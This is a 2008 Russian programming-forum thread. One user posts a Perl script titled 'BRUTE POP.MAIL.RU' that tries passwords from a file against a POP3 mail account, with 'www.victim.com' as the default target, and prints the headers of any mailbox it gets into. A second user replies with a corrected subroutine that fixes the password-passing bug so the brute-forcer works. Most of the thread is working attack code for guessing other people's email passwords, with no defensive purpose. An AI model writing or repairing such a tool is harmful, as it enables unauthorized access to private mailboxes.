Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

function

8.4K
04 августа 2008 года
admin171078
24 / / 14.07.2006
проблема такая передать из файла pass.txt пароль функции pass,
#!/usr/bin/perl -w
use Net::POP3;
use Getopt::Std;
$|++;

getopt("aspwdvfl");
print "--------------------------------------------------\n";
print"BRUTE POP.MAIL.RU \n";
print "---------------------------------------------------\n";
$server=$opt_s || 'www.victim.com';
$account=$opt_a || "words";
$password=$opt_p || '/';
$debug=0 || $opt_v;
$logfile=$opt_f || 'log.txt';
print "Usage: [-s server] [-a account] [-f LogFile]\n";

open (file,"pass.txt");
while($line=<file>)
{
$status=pass($line);
}
close file;
sub pass {
$password=$line;
$socket = Net::POP3->new($server) or die "Unable to establish a POP3 connection to $server \n";
$socket->login($account,$password) or die "Unable to authenticate .\n";
$messages=$socket->list or die "Can't list messages: \n";
foreach $item (keys %$messages) {
$header = $socket->top($item);
print @$header;}}

файла pass.txt:
user
1.9K
04 августа 2008 года
max_dark
256 / / 11.11.2005
[highlight=perl]sub pass($) {
my $password=shift;
chomp($password);
my $socket = Net::POP3->new($server) or die "Unable to establish a POP3 connection to $server \n";
$socket->login($account,$password) or die "Unable to authenticate .\n";
my $messages=$socket->list or die "Can't list messages: \n";
my $item;
foreach $item (keys %$messages) {
$header = $socket->top($item);
print @$header;
}
}[/highlight]
PS:Используй use strict и use warnings как минимум во время отладки
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог